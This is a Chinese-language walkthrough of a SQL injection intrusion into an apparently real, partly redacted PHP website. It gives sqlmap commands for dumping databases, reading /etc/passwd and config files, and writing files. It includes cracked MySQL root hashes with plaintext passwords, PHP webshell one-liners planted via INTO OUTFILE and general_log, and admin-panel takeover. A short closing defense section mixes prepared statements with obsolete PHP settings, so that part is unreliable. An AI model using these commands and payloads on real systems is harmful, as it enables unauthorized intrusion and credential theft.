使用sqlmap對某php網站進行註入實戰及安全防範
一般來講一旦網站存在sql註入漏洞,通過sql註入漏洞輕者可以獲取數據,嚴重的將獲取webshell以及服務器權限,但在實際漏洞利用和測試過程中,也可能因為服務器配置等情況導致無法獲取權限。
1.1php註入點的發現及掃描
1.使用漏洞掃描工具進行漏洞掃描
將目標url地址放在wvs中進行漏洞掃描,如圖1所示,掃描結果顯示存在SQL盲註和SQL註入,其漏洞存在的參數為同一頁面。
圖1使用wvs掃描目標網站
2.使用sqlmap工具對註入點進行漏洞驗證
如圖2所示,使用sqlmap註入檢查命令進行驗證:
sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34
驗證結果顯示該url確實存在sql註入漏洞,且數據庫為mysql。
圖2使用sqlmap工具對註入點進行漏洞驗證
1.2使用sqlmap進行sql註入測試
1.sql註入payload
如圖3所示,通過sqlmap或者該註入點存在boolean-based blind、 AND/OR time-based blind 、UNION query三種類型漏洞,跟wvs掃描結果一致。sqlmap漏洞測試完畢後會自動給出相應的payload,例如對第一個可以在瀏覽器中進行測試:http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34%20AND%202952=2952
圖3 sql註入payload
2.獲取當前數據庫名稱
sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --current-db獲取當前數據庫為xbase,如圖4所示。
圖4獲取當前數據庫名稱
3.獲取當前用戶
sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --current-user命令直接獲取當前數據庫賬號為root@localhost,如圖5所示。
圖5獲取當前數據庫用戶賬號
4.查看數據庫用戶及密碼
由於本例註入點是mysql root賬號,因此可以通過sqlmap命令來查看數據庫用戶(--users)及數據庫密碼(--password),如圖6所示,執行命令如下:
sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --users --password
圖6查看數據庫用戶及密碼
5.破解並獲取數據庫明文密碼
(1)在線破解並整理數據庫密碼
將密碼哈希值去掉前面的“*”號,將其復制到www.cmd5.com及somd5.com進行破解,註意該值需要選擇密碼類型mysql5,整理查詢結果如下所示:
root,127.0.0.1,10265996C62D6B0481DB263D7D3AB3B088092EA4
root,zjweb.***.com.cn,1A1AB09EB2AF0018D8A2196D4300A46417EB167D hkhxg
root,localhost,21F0CB490C734AE18C25C945E5A95065B3FE8858 localhost
root,%,9427205DF4B13AF3CFDF9D5A4193C1B143492BA3 asphxg
(2)還可以通過--sql-shell直接查詢數據庫用戶及密碼
sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --sql-shell
執行上面命令後,通過查詢命令來獲取密碼,如圖7所示:
select host,user,password from mysql.user
圖7查詢mysql數據庫host、user及密碼
(3)對服務器端口進行掃描
masscan -p 3306 114.**.***.***
如果開放數據庫端口,則可以直接進行連接,掃描結果顯示僅僅開放80端口。
6.一些常用的sqlmap命令總結
(1)查看所有數據庫
sqlmap.py -u url --dbs
(2)查看某個數據庫下所有表
sqlmap.py -u url -D databasename --table
(3)獲取列
sqlmap.py -u url -D mysql -T user --column
(4)導出數據
sqlmap.py -u url -D mysql -T user --dump
(5)數據庫中表詳細記錄統計
sqlmap.py -u url -D mysql --count
(6)通過sql-shell來執行查詢命令
sqlmap.py -u url --sql-shell
1.3php網站webshell獲取
1.php+mysql網站webshell獲取思路
(1)通過phpmyadmin登錄執行導出獲取
select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'D:/work/www/a.php'
(2)general_log配置文件獲取
show global variables like "%genera%";
set global general_log=off;
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
(3)sqlmap os-shell獲取
sqlmap -u url --os-shell
(4)後臺文件上傳漏洞利用及獲取
通過註入點獲取管理員密碼及後臺地址,登錄後臺尋找上傳地址及上傳漏洞來獲取webshell。
(5)文件包含漏洞來獲取webshell
2.直接獲取webshell失敗
對於root賬號而言,一般情況都可以通過--os-shell命令來獲取webshell,如圖8所示,執行命令後,並未獲取shell。
圖8獲取shell失敗
3.獲取真實物理路徑
通過測試,在網站根目錄下發現存在phpinfo頁面,如圖9所示,在該頁面中可以看到數據庫為內網IP地址192.168.77.88,真實物理路徑為/usr/local/apache/htdocs
圖9獲取網站正式路徑
4.寫入文件測試
知道物理路徑,可以通過sqlmap進行文件讀取和寫入命令,執行命令:
sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-write="C:\tools\sqlmap\1.php" --file-dest="/usr/local/apache/htdocs/happystudy/shell.php"
如圖10所示,sqlmap執行命令成功,通過url對文件進行訪問測試,頁面不存在。
圖10寫入文件測試
5.本地搭建環境測試寫入文件
前面寫入文件執行成功,懷疑是命令有問題,因此在本地搭建環境進行測試,測試命令為:
sqlmap.py -d mysql://root:[email protected]:3306/mysql --file-write="C:\tools\sqlmap\1.php" --file-dest="C:\ComsenzEXP\wwwroot\shell.php"
結果在C:\ComsenzEXP\wwwroot\目錄下成功寫入shell.php文件,為此分析原因可能為:
(1)該目錄無寫入權限
(2)magic_quotes_gpc值為on
6.嘗試general_log文件獲取webshell方法
(1)查看genera文件配置情況
show global variables like "%genera%";
(2)關閉general_log
set global general_log=off;
(3)通過general_log選項來獲取webshell
set global general_log='on';
SET global general_log_file='/usr/local/apache/htdocs/shell.php';
SELECT '<?php assert($_POST["cmd"]);?>';
由於以上命令需要在mysql客戶端命令行或者phpmyadmin中進行執行,本案例中不具備,通過--sql-shell以及--sql-query命令均未能實現。
7.使用pangolin工具進行導出webshell
如圖11所示,通過pangolin對該sql註入地址進行測試,嘗試將webshell導出到網站根目錄/usr/local/apache/htdocs/xxx.php文件,結果顯示跟前面的分析情況一致。
圖11使用pangolin工具進行導出webshell失敗
8.讀取文件測試
(1)讀取文件
如圖12所示,依次執行命令,分別讀取/etc/passwd、/usr/local/apache/htdocs/index.php等文件
sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-read="/usr/local/apache/htdocs/index.php"
sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-read="/etc/passwd"
圖12讀取系統文件及其他文件
(2)獲取數據庫密碼
sqlmap會將獲取的文件自動保存到當前系統用戶下C:\Users\john\.sqlmap\output\www.****.com.cn\files,如圖13所示,讀取conn.php文件的內容,成功獲取數據庫root賬號密碼。
圖13讀取源代碼獲取root密碼
1.4艱難的後臺地址獲取
1.使用havij對後臺進行掃描
如圖14所示,通過havij等工具對目標後臺地址進行獲取,在本例中獲取的是普通用戶的登錄地址,未獲取真正的後臺地址。
圖14使用havij對後臺地址進行掃描
2.通過google成功獲取後臺地址
後面使用百度對該url地址進行查詢“site:somesite.com 後臺管理”未能獲取相關信息,但在google中成功獲取其後臺地址,如圖15所示。有時候google黑客技術還是挺管用的。從url中可以看到該管理地址很難掃描獲取。
圖15成功獲取後臺管理地址
3.獲取真正的管理表
通過sqlmap對該數據庫中所有的表進行查詢,發現存在多個涉及密碼的表,admin、admin_files、admin_groups、tb_admin,依次進行和密碼破解,將其進行後臺登陸,均為成功登錄。後面通過讀取登錄地址的源代碼成功獲取,其真正的管理員表為tygb,如圖16所示,通過sql-shell進行查詢:select * from tygb
圖16獲取真正的管理表
4.登錄後臺管理
如圖17所示,登錄成功後,可以看到其cms系統存在多個系統,對每個管理入口進行查看和測試,雖然某些模塊存在上傳,經過測試,無寫入權限。
圖17登錄後臺進行管理
5.fckeditor漏洞驗證
在後臺中發現其使用了fckeditor編輯器,成功找到其fckeditor編輯器文件測試頁面,並對其進行測試,如圖18,有無文件權限問題,該漏洞無法利用。
http://www.***.com.cn/mes/news/fckeditor/editor/filemanager/connectors/uploadtest.html
圖18文件上傳漏洞無法利用
6.網站旁註漏洞利用失敗
後面對該目標網站進行同IP地址域名反查,發現該IP下存在多個域名,通過仔細的核對,發現前面的sql註入點可以讀取其數據庫,通過獲取後臺密碼,成功進入後臺,但也無用,系統存在錯誤,fckeditor無法上傳文件,也無法寫入文件。
1.5php網站sql註入防禦及總結
1.滲透總結
(1)本次滲透主要在於對mysql+php架構下sql註入點註入漏洞sqlmap的利用
(2)利用sqlmap的文件讀取和寫入功能寫入webshell
(3)有些情況下即使存在漏洞,也可能無法獲取webshell
2.php網站sql註入防禦
(1)過濾一些常見的數據庫操作關鍵字,例如對select ,insert,update,delete,and,*等或通過系統函數addslashes對內容進行過濾。
(2)php配置文件php.ini中register_globals=off;設置為關閉狀態
(3)對於sql語句加以封裝,避免直接暴漏SQL語句,使用prepared statements(預處理語句)和參數化的查詢。這些SQL語句被發送到數據庫服務器,它的參數全都會被單獨解析。使用PDO和Mysqli,攻擊者想註入惡意的SQL是不可能的。
//使用PDO
$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');
$stmt->execute(array(':name' => $name));
foreach ($stmt as $row) {
// do something with $row
}
//使用Mysqli
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// do something with $row
}
//PDO創建一個連接示例
$dbConnection = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');
$dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
(4)開啟PHP安全模式safe_mode=on
(5)打開magic_quotes_gpc來防止SQL註入,默認為關閉,開啟後自動把用戶提交sql查詢語句進行轉換把"'"轉換成"\'"
(6)控制錯誤信息輸出,關閉錯誤信息提示,將錯誤信息寫到系統日誌。
(7)網站安裝waf防護軟件
參考文章:
http://johan.viekee.com/?p=174
更多精彩內容,歡迎查看並訂閱sqlmap攻防實戰專欄
使用sqlmap對某php網站進行註入實戰及安全防範